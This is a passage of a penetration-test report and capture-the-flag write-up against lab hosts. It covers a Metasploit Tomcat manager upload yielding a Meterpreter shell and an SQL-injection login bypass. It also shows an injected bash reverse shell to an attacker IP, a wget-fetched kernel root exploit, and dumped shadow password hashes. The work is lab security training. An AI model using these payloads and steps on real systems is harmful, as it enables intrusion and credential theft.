vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
meterpreter >
```

#### Recommendation

MDG Hackers strongly suggest Buggy Systems to implement and enforce the use of a stronger password policy to restrain users from using weak passwords.

Finding 7: Apache Tomcat Manager Authenticated Upload Code Execution

Risk Critical Impact: High Likelihood: Possible

Reference Information: CVE-2009-3548

Apache Tomcat is an open-source implementation that provides a Java HTTP web server environment that can be used by web developers to build and maintain dynamic applications and websites.

Location: 8282/tcp Apache Tomcat/Coyote JSP engine 1.1

#### **Exploitation**

Because the installed version of Apache Tomcat exposes the *manager* application, it can be exploited by uploading a payload containing a WAR archive with jsp application via POST request to */manager/html/upload*.

A manual brute force attack against the server permitted MDG Ethical Hackers to crack the manager credentials=sploit/sploit. Then, using Metasploit we set up the exploit from the module multi/http/tomcat\_mgr\_upload.

As soon as the exploit was triggered, a reverse TCP handler configured with the same payload received the connection and provided MDG Hackers with the Meterpreter shell.

```
msf6 exploit(multi/handler) > options
Module options (exploit/multi/handler):
   Name Current Setting Required Description
Payload options (generic/shell_reverse_tcp):
   Name Current Setting Required Description
   LHOST 172.16.1.2 yes The listen address (an interface may be specified) LPORT 6666 yes The listen port
Exploit target:
   Id Name
  0 Wildcard Target
<u>msf6</u> exploit(multi/handler) > set payload java/meterpreter/reverse_tcp
payload ⇒ java/meterpreter/reverse_tcp
<u>msf6</u> exploit(m
 *] Started reverse TCP handler on 172.16.1.2:6666
 * Sending stage (58829 bytes) to 10.222.0.51
 \star Meterpreter session 2 opened (172.16.1.2:6666 
ightarrow 10.222.0.51:49612 ) at 2022-05-07 04:13:17 -0400
meterpreter > pwd
\C:\Program Files\Apache Software Foundation\tomcat\apache-tomcat-8.0.33
meterpreter > whoami
 -] Unknown command: whoami
meterpreter > id
  -] Unknown command: id
<u>meterpreter</u> > ipconfig
Interface 1
             : lo - Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:fff
```

#### Recommendation:

Newer versions of the Apache Tomcat have fixed the vulnerabilities that allowed this exploitation. Therefore, MDG Ethical Hackers recommend updating the server with the latest Apache Tomcat version in which access to the manager application is restricted. Additionally, we strongly advise changing the Tomcat manager password by a more secured one.

#### HIGH RISK FINDINGS

Finding 8: Ruby 1.8.6/1.9 (WEBrick HTTPd 1.3.1) - Directory Traversal

Risk Major Impact: Medium Likelihood: Possible

WEBrick is a Ruby library that provides simple web services, allowing the creation of HTTP, HTTPS, virtual servers and proxies. WEBricks supports Ruby Blocks ERb pages, CGI scripts and directory listings on a per-path/per-host basis.

This vulnerability affects this Windows system because it takes \ as path separator and uses NTFS which is a case insensitive filesystem.

Reference Information: CVE-2008-1145

**Location:** 3000/tcp open http WEBrick httpd 1.3.1 (Ruby 2.3.3 (2016-11-21))

#### **Exploitation**

The exploitation of this vulnerability could not be successfully performed at this time. However, there are high chances that an attacker may exploit this vulnerability by sending encoded URL backslashes with commands to the webserver in order to access system files that should not be available.

#### Recommendations:

MDG Hackers recommend upgrading WEBricks to a version above 1.8.5-p115.

### 6. Conclusion

MDG Ethical Hackers managed to identify several critical vulnerabilities that allowed our pentesters to obtain administrative access to restricted Buggy Systems services and applications through the penetration test activities.

The highest risk identified is related to MySQL authentication (vulnerability 1). A total of seven critical and one high impact vulnerabilities in this pentest report, and MDG Ethical Hackers strongly suggest mitigating them immediately by following our recommendations.

It should be noted that penetration testing is valid at the point in time of writing the report only. It is conceivable that new exploits could be developed after delivery of this report that could make the application susceptible to compromise. There is no substitute for regular scheduled penetration testing and vulnerability assessment activities as a mechanism to reduce the likelihood an impact of cyber compromise.


## **Boot-2-Root Report**

Flag #	Value
Flag 1	flag{WHO HAS ANY GOOD ARP JOKES!?}
Flag 2	flag{Old Macdonald had a network E-I-G-R-P}
Flag 3	flag{An IPv4 address walks into a bar and yells, 'Bartender! Give me a cider,
	I'm exhausted!'}
Flag 4	flag{I was promised a three way and all I got was a handshake}


#### Flag 1 Screenshot:



#### Flag 2 Screenshot:



#### Flag 3 Screenshot:



#### Flag 4 Screenshot:

```
smmsp: !! :14525:0:99999:7:::
rpcuser: !!:14525:0:99999:7:::
nfsnobody: !!:14525:0:99999:7:::
pcap: !! :14525:0:99999:7:::
apache: !!:14525:0:99999:7:::
squid: !! :14525:0:99999:7:::
webalizer:!!:14525:0:99999:7:::
xfs: !!:14525:0:99999:7:::
ntp: !! :14525:0:99999:7:::
pegasus: !!:14525:0:99999:7:::
mysql:!!:14525:::::
john:$1$nBeloKU9$p9P2QwXUdp4aUyBQAJrqe0:18238:0:99999:7:::
harold:$1$7d.sVxgm$3MYWsHDv0F/LP.mjL9lp/1:14529:0:99999:7:::
davidadmin:$1$ka0zuILT$KUNOCvJGrIM9QiYKkJh0y1:18238:0:99999:7:::
sh-3.00#
sh-3.00#
sh-3.00# ls
9542.c
exploit1
exploit2
sh-3.00#
sh-3.00# find / -iname "flag.txt" 2>/dev/null
/root/flag.txt
/var/www/html/flag.txt
sh-3.00# cat /root/flag.txt
Fri May 13 12:56:11 EDT 2022-flag{I was promised a three way and all I got was a handshake}
sh-3.00#
```

#### Low Privilege Access:


The process I used to achieve low privilege access was as follows:

Firstly, I did a portscan using nmap -sC -sV -script vuln 10.222.0.42 -p-10000 > b2rNmap.txt to enumerate all running services and possible vulnerabilities. From the scan, I identified the Apache HTTPd running on port 443, and noticed that it might be vulnerable to SQL Injection at /index.php.

```
443/tcp open ssl/http Apache httpd 2.0.52 ((CentOS))
_http-dombased-xss: Couldn't find any DOM based XSS.
_http-server-header: Apache/2.0.52 (CentOS)
http-csrf:
 Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.222.0.42
   Found the following possible CSRF vulnerabilities:
     Path: https://10.222.0.42:443/
     Form id: frmlogin
     Form action: index.php
     Path: https://10.222.0.42:443/index.php
     Form id: frmlogin
     Form action: index.php
  /icons/: Potentially interesting directory w/ listing on 'apache/2.0.52 (centos)' /manual/: Potentially interesting folder
 ssl-dh-params:
   VUI NERABI F:
   Transport Layer Security (TLS) Protocol DHE_EXPORT Ciphers Downgrade MitM (Logjam)
     State: VULNERABLE
     IDs: CVE:CVE-2015-4000 BID:74733
       The Transport Layer Security (TLS) protocol contains a flaw that is triggered when handling Diffie-Hellman key exchanges defined with
       the DHE_EXPORT cipher. This may allow a man-in-the-middle attacker
       to downgrade the security of a TLS session to 512-bit export-grade
       cryptography, which is significantly weaker, allowing the attacker
        to more easily break the encryption and monitor or tamper with
       the encrypted stream.
     Disclosure date: 2015-5-19
     Check results:
       EXPORT-GRADE DH GROUP 1
              Cipher Suite: TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
              Modulus Type: Safe prime
              Modulus Source: mod_ssl 2.0.x/512-bit MODP group with safe prime modulus
             Modulus Length: 512
              Generator Length: 8
             Public Key Length: 512
     References:
       https://www.securityfocus.com/bid/74733
       https://weakdh.org
        https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4000
```

```
Diffie-Hellman Key Exchange Insufficient Group Strength
    State: VULNERABLE
      Transport Layer Security (TLS) services that use Diffie-Hellman groups
      of insufficient strength, especially those using one of a few commonly
      shared groups, may be susceptible to passive eavesdropping attacks.
    Check results:
      WEAK DH GROUP 1
            Cipher Suite: TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA
            Modulus Type: Safe prime
            Modulus Source: mod_ssl 2.0.x/1024-bit MODP group with safe prime modulus
            Modulus Length: 1024
            Generator Length: 8
            Public Key Length: 1024
    References:
      https://weakdh.org
http-sql-injection:
  Possible sqli for forms:
    Form at path: /, form's action: index.php. Fields that might be vulnerable:
    Form at path: /index.php, form's action: index.php. Fields that might be vulnerable:
      uname
```


Then, I tested the login page by using username=admin and password=' OR 1=1 -- - and the SQL injection was successful, giving me access to 'Basic Administrative Web Console' page.








I started a Netcat listener on my Kali machine and injected "; bash -i >& /dev/tcp/172.16.1.2/5555 0>&1" into the field 'Ping a Machine on the Network' and submitted the command, thus starting a reverse shell on my Netcat listener.





#### Root Access

Firstly, I discovered the Linux kernel version by running ename -a command and found out that the kernel version is 2.6.9. So, I searched for a suitable exploit on searchsploit and downloaded the exploit filename 9542.c.

Then, I started a webserver in python to transfer the file over to the target machine.

Using Wget I downloaded the file to the target and compiled it using the gcc command. Finally, I run it and obtained root privileges in the machine.

```
wget http://172.16.1.2/9542.c
--11:27:38-- http://172.16.1.2/9542.c

⇒ `9542.c'
Connecting to 172.16.1.2:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,535 (2.5K) [text/x-csrc]
                                                              100% 389.73 KB/s
11:27:38 (389.73 KB/s) - `9542.c' saved [2535/2535]
gcc 9542.c -o exploit1 & ./exploit1
9542.c:109:28: warning: no newline at end of file
sh: no job control in this shell
sh-3.00#
sh-3.00# ls
9542.c
exploit1
exploit2
sh-3.00#
sh-3.00# ./exploit1
[-] check ur uid
sh-3.00#
sh-3.00# pwd
/tmp
sh-3.00# id
uid=0(root) gid=0(root) groups=48(apache)
sh-3.00#
sh-3.00# cat /etc/shadow
root:$1$FTpMLT88$VdzDQTTcksukSKMLRSVlc.:14529:0:99999:7:::
bin:*:14525:0:99999:7:::
daemon:*:14525:0:99999:7:::
adm:*:14525:0:99999:7:::
lp:*:14525:0:99999:7:::
sync:*:14525:0:99999:7:::
shutdown:*:14525:0:99999:7:::
halt:*:14525:0:99999:7:::
mail:*:14525:0:99999:7:::
news:*:14525:0:99999:7:::
uucp:*:14525:0:99999:7:::
operator: *:14525:0:99999:7:::
games:*:14525:0:99999:7:::
gopher:*:14525:0:99999:7:::
ftp:*:14525:0:99999:7:::
nobody:*:14525:0:99999:7:::
dbus: !! :14525:0:99999:7:::
```